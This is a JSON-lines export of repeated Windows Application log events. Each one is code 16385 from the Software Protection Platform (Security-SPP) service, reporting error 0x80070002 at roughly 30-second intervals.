{"@timestamp":1659028049755,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172918}}
{"@timestamp":1659028079761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172919}}
{"@timestamp":1659028109767,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172920}}
{"@timestamp":1659028139775,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172921}}
{"@timestamp":1659028169783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172922}}
{"@timestamp":1659028199789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172923}}
{"@timestamp":1659028229798,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172924}}
{"@timestamp":1659028259805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172925}}
{"@timestamp":1659028289812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172926}}
{"@timestamp":1659028319818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172927}}
{"@timestamp":1659028349828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172928}}
{"@timestamp":1659028379836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172929}}
{"@timestamp":1659028409844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172930}}
{"@timestamp":1659028439851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172931}}
{"@timestamp":1659028469858,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172932}}
{"@timestamp":1659028499865,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172933}}
{"@timestamp":1659028529872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172934}}
{"@timestamp":1659028559882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172935}}
{"@timestamp":1659028589890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172936}}
{"@timestamp":1659028619898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172937}}
{"@timestamp":1659028649904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172938}}
{"@timestamp":1659028679912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172939}}
{"@timestamp":1659028709919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172940}}
{"@timestamp":1659028739926,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172941}}
{"@timestamp":1659028769933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172942}}
{"@timestamp":1659028799940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172943}}
{"@timestamp":1659028829947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172944}}
{"@timestamp":1659028859953,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172945}}
{"@timestamp":1659028889960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172946}}
{"@timestamp":1659028919968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172947}}
{"@timestamp":1659028949974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172948}}
{"@timestamp":1659028979983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172949}}
{"@timestamp":1659029009991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:29Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172950}}
{"@timestamp":1659029039997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172951}}
{"@timestamp":1659029070005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172952}}
{"@timestamp":1659029100011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172953}}
{"@timestamp":1659029130017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172954}}
{"@timestamp":1659029160024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172955}}
{"@timestamp":1659029190030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172956}}
{"@timestamp":1659029220036,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172957}}
{"@timestamp":1659029250043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172958}}
{"@timestamp":1659029280049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172959}}
{"@timestamp":1659029310056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172960}}
{"@timestamp":1659029340063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172961}}
{"@timestamp":1659029370070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172962}}
{"@timestamp":1659029400076,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172963}}
{"@timestamp":1659029430083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172964}}
{"@timestamp":1659029460089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172965}}
{"@timestamp":1659029490095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172966}}
{"@timestamp":1659029520103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172967}}
{"@timestamp":1659029550110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172968}}
{"@timestamp":1659029580117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172969}}
{"@timestamp":1659029610123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172970}}
{"@timestamp":1659029640130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172971}}
{"@timestamp":1659029670137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172972}}
{"@timestamp":1659029700143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172973}}
{"@timestamp":1659029730150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172974}}
{"@timestamp":1659029760157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172975}}
{"@timestamp":1659029790165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172976}}
{"@timestamp":1659029820171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172977}}
{"@timestamp":1659029850177,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172978}}
{"@timestamp":1659029880184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172979}}
{"@timestamp":1659029910191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172980}}
{"@timestamp":1659029940197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172981}}
{"@timestamp":1659029970204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172982}}
{"@timestamp":1659030000210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172983}}
{"@timestamp":1659030030217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172984}}
{"@timestamp":1659030060224,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172985}}
{"@timestamp":1659030090231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172986}}
{"@timestamp":1659030120238,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172987}}
{"@timestamp":1659030150244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172988}}
{"@timestamp":1659030180252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172989}}
{"@timestamp":1659030210258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172990}}
{"@timestamp":1659030240265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172991}}
{"@timestamp":1659030270271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172992}}
{"@timestamp":1659030300276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172993}}
{"@timestamp":1659030330282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172994}}
{"@timestamp":1659030360290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172995}}
{"@timestamp":1659030390297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172996}}
{"@timestamp":1659030420302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172997}}
{"@timestamp":1659030450310,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172998}}
{"@timestamp":1659030480316,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172999}}
{"@timestamp":1659030510323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173000}}
{"@timestamp":1659030540329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173001}}
{"@timestamp":1659030570335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173002}}
{"@timestamp":1659030600342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173003}}
{"@timestamp":1659030630350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173004}}
{"@timestamp":1659030660357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173005}}
{"@timestamp":1659030690364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173006}}
{"@timestamp":1659030720370,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173007}}
{"@timestamp":1659030750376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173008}}
{"@timestamp":1659030780383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173009}}
{"@timestamp":1659030810389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173010}}
{"@timestamp":1659030840397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173011}}
{"@timestamp":1659030870403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173012}}
{"@timestamp":1659030900410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173013}}
{"@timestamp":1659030930416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173014}}
{"@timestamp":1659030960423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173015}}
{"@timestamp":1659030990430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173016}}
{"@timestamp":1659031020435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173017}}
{"@timestamp":1659031050443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173018}}
{"@timestamp":1659031080449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173019}}
{"@timestamp":1659031110455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173020}}
{"@timestamp":1659031140461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173021}}
{"@timestamp":1659031170467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173022}}
{"@timestamp":1659031200474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173023}}
{"@timestamp":1659031230480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173024}}
{"@timestamp":1659031260486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173025}}
{"@timestamp":1659031290492,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173026}}
